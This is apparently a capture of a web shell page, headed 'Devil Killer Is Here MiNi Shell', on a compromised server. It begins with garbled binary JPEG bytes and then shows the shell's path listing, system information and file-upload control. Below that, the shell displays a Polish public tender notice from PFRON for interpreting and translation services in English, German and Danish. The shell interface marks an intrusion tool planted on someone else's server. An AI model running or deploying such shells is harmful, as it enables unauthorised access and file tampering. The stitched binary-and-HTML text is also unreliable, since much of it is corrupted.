JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/common/web/tenders/20210827/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/common/web/tenders/20210827/0016241701-N-2021.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Usługa tłumaczeń ustnych i pisemnych </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">PAŃSTWOWY FUNDUSZ REHABILITACJI OSÓB NIEPEŁNOSPRAWNYCH</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">PFRON</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 012059538</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Aleja Jana Pawła II 13</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-828</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">Anna.Bogusz-Kozbial@pfron.org.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://www.pfron.org.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - organ władzy publicznej - organ administracji rządowej (centralnej lub terenowej)</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Usługa tłumaczeń ustnych i pisemnych </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-1248d73f-070f-11ec-b885-f28f91688073</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00162417</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-08-27</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00011486/05/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.8 Tłumaczenia językowe ustne i pisemne</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> POWER </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://platformazakupowa.pl/pn/pfron <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://platformazakupowa.pl/pn/pfron</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Wymagania zostały opisane w Rozdziale VIII i IX SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1. Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia<br/>27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej „RODO”, w związku z prowadzonym postępowaniem o udzielenie zamówienia na „Dostawę komputerów przenośnych” (dalej: Postępowanie”), Zamawiający przekazuje poniżej informacje dotyczące przetwarzania danych osobowych uczestników Postępowania:<br/>1.1 Administratorem Państwa danych osobowych jest Państwowy Fundusz Rehabilitacji Osób Niepełnosprawnych, z siedzibą w Warszawie (00-828), Al. Jana Pawła II 13. Z administratorem można skontaktować się także telefonicznie pod numerem (22) 50 55 500 oraz poprzez e-mail kancelaria@pfron.org.pl;<br/>1.2 Administrator powołał inspektora ochrony danych osobowych, z którym można się skontaktować poprzez e-mail: iod@pfron.org.pl, telefonicznie pod numerem (22) 50 55 165 lub listownie na adres Al. Jana Pawła II 13, 00-828 Warszawa. Inspektor ochrony danych jest osobą, z którą mogą się Państwo kontaktować we wszystkich sprawach dotyczących przetwarzania danych osobowych oraz korzystania z praw związanych z tym przetwarzaniem;<br/>1.3 Państwa dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z przeprowadzeniem Postępowania;<br/>1.4 Odbiorcami Państwa danych osobowych mogą być wszyscy zainteresowani przebiegiem Postępowania, z zastrzeżeniem wyjątków określonych w art. 18 ust. 5 pkt 1 i 2 ustawy – Prawo zamówień publicznych. Odbiorcami danych będą ponadto podmioty świadczące usługi wsparcia informatycznego i usługi pocztowe;<br/>1.5 W związku z jawnością Postępowania Państwa dane osobowe mogą być przekazywane poza obszar Europejskiego Obszaru Gospodarczego, z zastrzeżeniem wyjątków określonych<br/>w art. 18 ust. 5 pkt 1 i 2 ustawy – Prawo zamówień publicznych;<br/><br/>Szczegółowe informacje znajdują się w Rozdziale XXII SWZ</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ZP/09/21</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Przedmiotem zamówienia jest świadczenie usługi tłumaczeń ustnych i pisemnych w ramach<br/>projektów unijnych: „Kultura bez barier”, „Trening orientacji przestrzennej dla osób niewidomych<br/>i słabowidzących (TOPON)”, „Obszar chroniony obszar dostępny”.<br/>2. Tłumaczenia pisemne obejmują wszystkie możliwe konfiguracje z wymienionych niżej języków:<br/>− angielski;<br/>− duński;<br/>− niemiecki;<br/>− polski.<br/>Tłumaczenia ustne będą obejmować konfiguracja w ramach następujących języków:<br/>− angielski;<br/>− niemiecki;<br/>− duński;<br/>− polski<br/>3. Szczegółowy opis przedmiotu zamówienia stanowi Załącznik nr 1 do SWZ </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">79540000-1 - Usługi w zakresie tłumaczeń ustnych</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">26 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">W każdym z kryteriów ocena będzie dokonana z dokładnością do dwóch<br/>miejsc po przecinku. Punkty otrzymane przez daną ofertę w każdym z kryteriów zostaną do siebie dodane. Zamawiający udzieli zamówienia Wykonawcy, którego Oferta uzyska największą liczbę punktów.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Punktowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">50</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Udostępnienie dodatkowego tłumacza poza wymagane minimum</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie osób skierowanych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">Kryterium 4</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Aspekty społeczne - zatrudnienie przy realizacji zamówienia osoby niepełnosprawnej</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> W zakresie „zdolności technicznej lub zawodowej” Wykonawca zobowiązany jest wykazać, że:<br/>1) w okresie ostatnich trzech lat przed upływem terminu składania ofert (a jeżeli okres<br/>prowadzenia działalności jest krótszy - w tym okresie) wykonał, a w przypadku świadczeń<br/>okresowych lub ciągłych część zrealizowana obejmuje, co najmniej:<br/>a) 1 usługę/ umowę o wartości co najmniej 10 000,00 zł (brutto) każda, polegające na realizowaniu tłumaczeń pisemnych i weryfikacji dokumentów z języka angielskiego na język<br/>polski lub z języka polskiego na język angielski, z których przynajmniej jedna trwała min. 6 miesięcy;<br/>b) 1 usługę/ umowę o wartości co najmniej 10 000,00 zł (brutto) każda, polegającą na<br/>realizowaniu tłumaczeń pisemnych i weryfikacji dokumentów z języka niemieckiego na język<br/>polski lub z języka polskiego na język niemiecki, która trwała min. 6 miesięcy;<br/>c) 1 usługę/ umowę o wartości co najmniej 5 000,00 zł (brutto), polegającą na realizowaniu<br/>tłumaczeń pisemnych i weryfikacji dokumentów z języka duńskiego na język polski lub z języka<br/>polskiego na język duński; <br/>d) 1 usługę/ umowę polegającą na obsłudze konferencji/ spotkania/ szkolenia trwającą min. 6<br/>godzin w zakresie tłumaczeń ustnych (symultanicznych i/lub konsekutywnych) z języka<br/>angielskiego na język polski lub z języka polskiego na język angielski;<br/>e) 2 usługi/ umowy polegające na obsłudze konferencji/ spotkania/ szkolenia trwające min. 6<br/>godzin każda w zakresie tłumaczeń ustnych (symultanicznych i/lub konsekutywnych) z języka<br/>niemieckiego na język polski lub z języka polskiego na język niemiecki.<br/>f) 1 usługę/ umowę polegającą na obsłudze konferencji/ spotkania/ szkolenia trwającą min. 6<br/>godzin w zakresie tłumaczeń ustnych (symultanicznych i/lub konsekutywnych) z języka<br/>duńskiego na język polski lub z języka polskiego na język duński.<br/>Zamawiający wymaga by przynajmniej 2 z powyższych usług/ umów tłumaczeń ustnych<br/>obejmowały obsługę sprzętową tłumaczeń symultanicznych.<br/>Zamawiający będzie oceniał każdą usługę/ umowę indywidualnie bez względu na liczbę<br/>i różnorodność języków które obejmowała, tzn. jedna usługa/ umowa potwierdza spełnienie<br/>warunku tylko dla jednego języka. Dla wykazania spełnienia warunku wiedzy i doświadczenia<br/>należy więc wskazać wszystkie usługi wymagane powyżej, tj. łącznie 7 usług/ umów.<br/>2) dysponuje lub będzie dysponować osobami o odpowiednich kwalifikacjach zawodowych,<br/>doświadczeniu i wykształceniu niezbędnych do realizacji zamówienia, w tym:<br/>a) w zakresie języka duńskiego wykaże do realizacji tłumaczeń ustnych minimum 2 tłumaczy,<br/>z których każdy posiada:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>duńskiego (w kraju lub za granicą) lub legitymujących się certyfikatem C2 lub<br/>równoważnym (poziom biegły) języka duńskiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka duńskiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka duńskiego<br/>oraz<br/>• w ostatnich dwóch latach przeprowadził min. 150 godzin tłumaczeń ustnych z języka<br/>polskiego na jęz. duński i z języka duńskiego na jęz. polski, w tym min. 50 godzin<br/>tłumaczeń symultanicznych (wykonywanych indywidualnie lub we współpracy z innym<br/>tłumaczem),<br/>b) w zakresie języka niemieckiego wykaże do realizacji tłumaczeń ustnych minimum 4<br/>tłumaczy, z których każdy posiada:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>niemieckiego (w kraju lub za granicą) lub legitymujących się certyfikatem C2 lub<br/>równoważnym (poziom biegły) języka niemieckiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka niemieckiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka niemieckiego<br/>oraz <br/>• w ostatnich dwóch latach przeprowadził min. 150 godzin tłumaczeń ustnych z języka<br/>polskiego na jęz. niemiecki i z języka niemieckiego na jęz. polski, w tym min. 100 godzin<br/>tłumaczeń symultanicznych (wykonywanych indywidualnie lub we współpracy z innym<br/>tłumaczem),<br/>c) w zakresie języka angielskiego wykaże do realizacji tłumaczeń ustnych minimum 2<br/>tłumaczy, z których każdy posiada:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>angielskiego (w kraju lub za granicą) lub legitymujących się certyfikatem C2 lub<br/>równoważnym (poziom biegły) języka angielskiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka angielskiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka angielskiego<br/>oraz<br/>• w ostatnich dwóch latach przeprowadził min. 150 godzin tłumaczeń ustnych z języka<br/>polskiego na angielski i z języka angielskiego na polski, w tym min. 100 godzin tłumaczeń<br/>symultanicznych (wykonywanych indywidualnie lub we współpracy z innym tłumaczem),<br/>d) w zakresie języka angielskiego wykaże do realizacji tłumaczeń pisemnych minimum 2<br/>tłumaczy, z których każdy posiada:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>angielskiego (w kraju lub za granicą) lub legitymujących się certyfikatem C1 lub<br/>równoważnym (poziom biegły) języka angielskiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka angielskiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka angielskiego<br/>oraz<br/>• w ostatnich trzech latach przetłumaczył co najmniej 1000 stron obliczeniowych tekstu<br/>(1800 znaków ze spacjami każda) z języka polskiego na angielski i z języka angielskiego<br/>na polski,<br/>e) w zakresie języka niemieckiego wykaże do realizacji tłumaczeń pisemnych minimum 2<br/>tłumaczy, z których każdy posiada:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>niemieckiego (w kraju lub za granicą) lub legitymujących się certyfikatem C1 lub<br/>równoważnym (poziom biegły) języka niemieckiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka niemieckiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka niemieckiego<br/>oraz<br/>• w ostatnich trzech latach przetłumaczył co najmniej 1000 stron obliczeniowych tekstu<br/>(1800 znaków ze spacjami każda) z języka polskiego na niemiecki i z języka niemieckiego<br/>na polski,<br/>f) w zakresie języka duńskiego wykaże do realizacji tłumaczeń pisemnych minimum 2<br/>tłumaczy posiadających:<br/>• ukończone studia wyższe, minimum tytuł licencjata, na kierunku filologicznym języka<br/>duńskiego (w kraju lub za granicą) lub legitymujących się certyfikatem C1 lub<br/>równoważnym (poziom biegły) języka duńskiego zgodnie z założeniami Europejskiego<br/>Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for<br/>Langues) lub posiadających ukończone studia podyplomowe (w kraju lub za granicą) w<br/>zakresie tłumaczenia języka duńskiego lub posiadających prawo do wykonywania w<br/>Polsce zawodu tłumacza przysięgłego języka duńskiego<br/>oraz<br/>• w ostatnich trzech latach przetłumaczył co najmniej 1000 stron obliczeniowych tekstu<br/>(1800 znaków ze spacjami każda) z języka polskiego na duński i z języka duńskiego na<br/>polski,<br/>Każdy z tłumaczy musi mieć zrealizowaną usługę/ usługi polegającą/ -e na tłumaczeniu<br/>w zakresie co najmniej jednego z obszarów wymienionych w pkt II.2 OPZ:<br/>1) w przypadku tłumaczeń ustnych co najmniej 40 godzin;<br/>2) w przypadku tłumaczeń pisemnych co najmniej 250 stron obliczeniowych.<br/>UWAGA:<br/>Wykonawca musi wskazać różne osoby do tłumaczeń w ramach każdego języka obcego<br/>(angielskiego, niemieckiego, duńskiego). Te same osoby mogą natomiast być wskazane w<br/>ramach tłumaczeń ustnych i pisemnych w ramach danego języka obcego. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">Oświadczenie wykonawcy o aktualności informacji zawartych w oświadczeniu, o którym mowa w art. 125 ust. 1 uPzp w zakresie podstaw wykluczenia z postępowania wskazanych przez Zamawiającego.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">Zamawiający przewiduje wezwanie Wykonawcy, którego oferta została oceniona najwyżej, do złożenia w wyznaczonym, nie krótszym niż 5 dni terminie następujących dokumentów:<br/>1) wykazu usług wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, w okresie ostatnich 3 lat przed terminem składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, 12 przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane lub są wykonywane;<br/>2) dowodów określających, czy te usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi zostały wykonywane, a w przypadku świadczeń powtarzających się lub ciągłych są wykonywane, a jeżeli wykonawca z przyczyn niezależnych<br/>od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie Wykonawcy. W przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wystawione w okresie 3 miesięcy;<br/>3) wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego odpowiedzialnych za świadczenie usług, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami;<br/>4) oświadczenia wykonawcy o aktualności informacji zawartych w oświadczeniu, o którym mowa w art. 125 ust. 1 uPzp w zakresie podstaw wkluczenia z postępowania wskazanych przez Zamawiającego.<br/>Wzory wykazów i oświadczeń przekazane zostaną Wykonawcy wraz z wezwaniem, o którym mowa na wstępie.</span> </h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> Wykonawca wraz z ofertą składa:<br/>1) Formularz ofertowy, Zamawiający zaleca przygotowanie z wykorzystaniem wzoru stanowiącego Załącznik nr 2 